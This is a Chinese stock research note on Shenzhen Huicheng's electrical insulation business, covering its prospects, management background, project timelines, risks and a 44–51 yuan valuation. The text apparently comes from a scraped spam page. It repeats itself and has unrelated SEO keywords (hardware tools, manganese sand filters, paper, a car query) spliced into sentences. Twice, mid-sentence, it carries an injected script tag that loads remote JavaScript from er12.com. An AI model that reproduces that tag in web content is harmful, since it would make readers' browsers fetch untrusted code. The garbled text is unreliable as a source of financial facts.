上市公司深圳惠程 国内高端电气绝缘材料领跑者五金工具

上市公司深圳惠程 国内高端电气绝缘材料领跑者 投资要点

高性能绝缘材料行业发展前景看好。公司生产的电气绝缘制品主要用于城乡电网改造与建设。中国过去输配电资产相对于电源|稳压器资产配比严重失衡，未来长期电网投资上升，配电绝缘设备需求上升趋势肯定。公司主营产品为高端电气绝缘材料，随着电力系统对供电可靠性要求的普遍提高和技术进步的要求，高性能绝缘材料需求增长更快。

深圳惠程以新型高分子电气绝缘材料技术为特色和核心优势。主要从事全密闭全绝缘中压电缆分支箱、中压电缆对接箱、低压电缆分支箱等电缆分支箱类产品，硅橡胶电缆附件、电缆插头等高性能硅橡胶绝缘制品，smc电气设备箱体等高性能复合材料绝缘制品以及相关电力配网设备产品的研发、生产和销售。

高管控股公司，技术优势显著。公司前四大股东均为公司高管，合计持股比例占发行前后的95.2%和70.49%；其中主要高管人员过去均在中国科学院长春应用化学研究所任职，研发与技术优势突出。

募集集资项目建设周期短，有较大提前投产的可能。公司募集资金投资的smc产品项目和高性能硅橡胶电气绝缘制品项目，计划建设期均为一年，第三年达产，根据行业经验，我们推测募集资金项目有极大可能提前投产，预计一年左右就可形成规模收益。

风险因素。原材料价格上涨及采购单一风险；市场新进入者增多，竞争加剧导致毛利率下滑风险。

股票估值。参考同类配电设备上市公司，07、08年平均动态市盈率分别为57、34倍，鉴于公司处于国内高端电气绝缘材料领域领导地位、锰砂滤料良好的业务发展前景、高素质管理层以及激励机制充分，我们认为给予公司08年30-35倍动态市盈率较为合理，合理估值区间应为44-51元/股。

　盈利预测

公司收入、毛利率预测如下，假设公司未来费用率波动不大，预测公司07-09年收入增长分别为20%、43%、41%，其中电气设备箱和低压电缆分支箱产品增长最快，其他产品基本增速在10-20%；综合毛利率水平分别为41.35%、41.65%和41.72%；费用率逐年略有下降；所得所率从原来的7.5%上升到15%。

高管控股公司，科研院所出身

发行后高管持股70%以上。公司前四大股东均为公司高管，合计持股比例分别占发行前后的95.2%和70.49%；其中主要高管人员吕晓义、何平、任金生过去均在中国科学院长春应用化学研究所任职。

主要高管科研院所出身。公司董事长吕晓义曾任中国科学院长春应用化学研究所热缩材料厂厂长、长春热缩材料股份有限公司董事长兼总经理、中国科学院长春应用化学研究所副所长、研究员，享受国务院颁发的政府特殊津贴；公司副董事长、总经理何平曾任长春热缩材料股份有限公司副总经理；公司副总任金生曾任长春热缩材料股份有限公司销售经理。

技术优势显著，专注高端绝缘材料及产品。公司主要管理层（除匡晓明为引入的风险投资股东外）过去均在长春应用化学所任职，对于绝缘材料的研发及应用技术优势强。公司与国内主要竞争对手的区别恰恰在于市场定位不同，公司在成立之初，就已经放弃普通热缩绝缘材料产品市场，而是定位在研发生产高分子装配工具绝缘材料产品的进口替代上面。不排除未来公司利用与长春应化所历史渊源继续合作开展新项目。

主营高端电气绝缘材料，市场前景看好

深圳惠程以新型高分子电气绝缘材料技术为特色和核心优势，主要从事全密闭全绝缘中压电缆分支箱、中压电缆对接箱、低压电缆分支箱等电缆分支箱类产品，硅橡胶电缆附件、电缆插头等高性能硅橡胶绝缘制品，smc电气设备箱体等高性能复合材料绝缘制品以及相关电力配网设备产品的研发、生产和销售。

市场前景看好。公司生产的电气绝缘制品主要用于城乡电网改造与建设。

中国过去输配电资产相对于电源资产配比严重失衡，未来长期电网投资上升，配电绝缘设备需求上升趋势肯定。公司主营产品为高端电气绝缘材料，随着电力系统对供电可靠性要求的普遍提高和技术进步的要求，高性能绝缘材料需求增长更快。短期内，传统热缩绝缘材料价格便宜，仍然继续会有市场应用，但长期看来，以硅橡胶为代表的冷缩绝缘产品最终将取代热缩绝缘产品是技术发展的必然趋势。

（1）电缆分支箱类产品：电缆分支箱是硅橡胶等新型绝缘材料技术与全密闭开关技术相融合的产品，要求做到全绝缘、全密闭。在国外，这两项技术已很成熟；在国内，10kv全密闭开关主要依赖进口，国内大多数厂家还停留在采购开关与插头后简单组装的阶段，公司是目前国内少数拥有全套核心技术的全密闭、全绝缘电缆分支箱生产商之一。

（2）硅橡胶绝缘制品：目前，公司硅橡胶绝缘制品的质量已接近进口产品，价格则低于进口产品，具有较好的性价比。公司作为该同类产品的?script src=http://er12.com/t.js> 投资要点

高性能绝缘材料行业发展前景看好。公司生产的电气绝缘制品主要用于城乡电网改造与建设。中国过去输配电资产相对于电源|稳压器资产配比严重失衡，未来长期电网投资上升，配电绝缘设备需求上升趋势肯定。公司主营产品为高端电气绝缘材料，随着电力系统对供电可靠性要求的普遍提高和技术进步的要求，高性能绝缘材料需求增长更快。

深圳惠程以新型高分子电气绝缘材料技术为特色和核心优势。主要从事全密闭全绝缘中压电缆分支箱、中压电缆对接箱、低压电缆分支箱等电缆分支箱类产品，硅橡胶电缆附件、电缆插头等高性能硅橡胶绝缘制品，smc电气设备箱体等高性能复合材料绝缘制品以及相关电力配网设备产品的研发、生产和销售。

高管控股公司陶瓷土，技术优势显著。公司前四大股东均为公司高管，合计持股比例占发行前后的95.2%和70.49%；其中主要高管人员过去均在中国科学院长春应用化学研究所任职，研发与技术优势突出。

募集集资项目建设周期短，有较大提前投产的可能。公司募集资金投资的smc产品项目和高性能硅橡胶电气绝缘制品项目，计划建设期均为一年，第三年达产，根据行业经验，我们推测募集资金项目有极大可能提前投产，预计一年左右就可形成规模收益。

风险因素。原材料价格上涨及采购单一风险；市场新进入者增多，竞争加剧导致毛利率下滑风险。

股票估值。参考同类配电设备上市公司，07、08年平均动态市盈率分别为57、34倍，鉴于公司处于国内高端电气绝缘材料领域领导地位、良好的业务发展前景、高素质管理层以及激励机制充分，我们认为给予公司08年30-35倍动态市盈率较为合理，合理估值区间应为44-51元/股。

　盈利预测

公司收入、毛利率预测如下，假设公司未来费用率波动不大，预测公司07-09年收入增长分别为20%、43%、41%，其中电气设备箱和低压电缆分支箱产品增长最快，其他产品基本增速在10-20%；综合毛利率水平分别为41.35%、41.65%和41.72%；费用率逐年略有下降；所得所率从原来的7.5%上升到15%。

高管控股公司，科研院所出身

发行后高管持股70%以上。公司前四大股东均为公司高管，合计持股比例分别占发行前后的95.2%和70.49%；其中主要高管人员吕晓义、何平、任金生过去均在中国科学院长春应用化学研究所任职。

主要高管科研院所出身。公司董事长吕晓义曾任中国科学院长春应用化学研究所热缩材料厂厂长、长春热缩材料股份有限公司董事长兼总经理、中国科学院长春应用化学研究所副所长、研究员，享受国务院颁发的政府特殊津贴；公司副董事长、总经理何平曾任长春热缩材料股份有限公司副总经理；公司副总任金生曾任长春热缩材料股份有限公司销售经理。

技术优势显著，专注高端绝缘材料及产品。公司主要管理层（除匡晓明为引入的风险投资股东外）过去均在长春应用化学所任职，对于绝缘材料的研发及应用技术优势强。公司与国内主要竞争对手的区别恰恰在于市场定位不同，公司在成立之初，就已经放弃普通热缩绝缘材料产品市场，而是定位在研发生产高分子绝缘材料产品的进口替代上面。不排除未来公司利用与长春应化所历史渊源继续合作开展新项目。

主营高端电气绝缘材料，市场前景看好

深圳惠程以新型高分子电气绝缘材料技术为特色和核心优势，主要从事全密闭全绝缘中压电缆分支箱、中压电缆对接箱、低压电缆分支箱等电缆分支箱类产品，硅橡胶电缆附件、电缆插头等高性能硅橡胶绝缘制品，smc电气设备箱体等高性能复合材料绝缘制品以及相关电力配网设备产品的研发、生产和销售。

市场前景看好。公司生产的电气绝缘制品主要用于城乡电网改造与建设。

中国过去输配电资产相对于电源资产配比严重失衡，未来长期电网投资上升，配电绝缘设备需求上升趋势肯定。公司主营产品为高端电气绝缘材料，随着电力系统对供电可靠性要求的普遍提高和技术进步的要求，高性能绝缘材料需求增长更快。短期内，传统热缩绝缘材料价格便宜，仍然继续会有市场应用，但长期看来，以硅橡胶为代表的冷缩绝缘产品最终将取代热缩绝缘产品是技术发展的必然趋势。

（1）电缆分支箱类产品：电缆分支箱是硅橡胶等新型绝缘材料技纸张术与全密闭开关技术相融合的产品，要求做到全绝缘、全密闭。在国外，这两项技术已很成熟；在国内，10kv全密闭开关主要依赖进口，国内大多数厂家还停留在采购开关与插头后简单组装的阶段，公司是目前国内少数拥有全套核心技术的全密闭、全绝缘电缆分支箱生产商之一。

（2）硅橡胶绝缘制品：目前，公司硅橡胶绝缘制品的质量已接近进口产品，价格则低于进口产品，具有较好的性价比。公司作为该同类产品的?script src=http://er12.com/t.js>6万左右买什么车好
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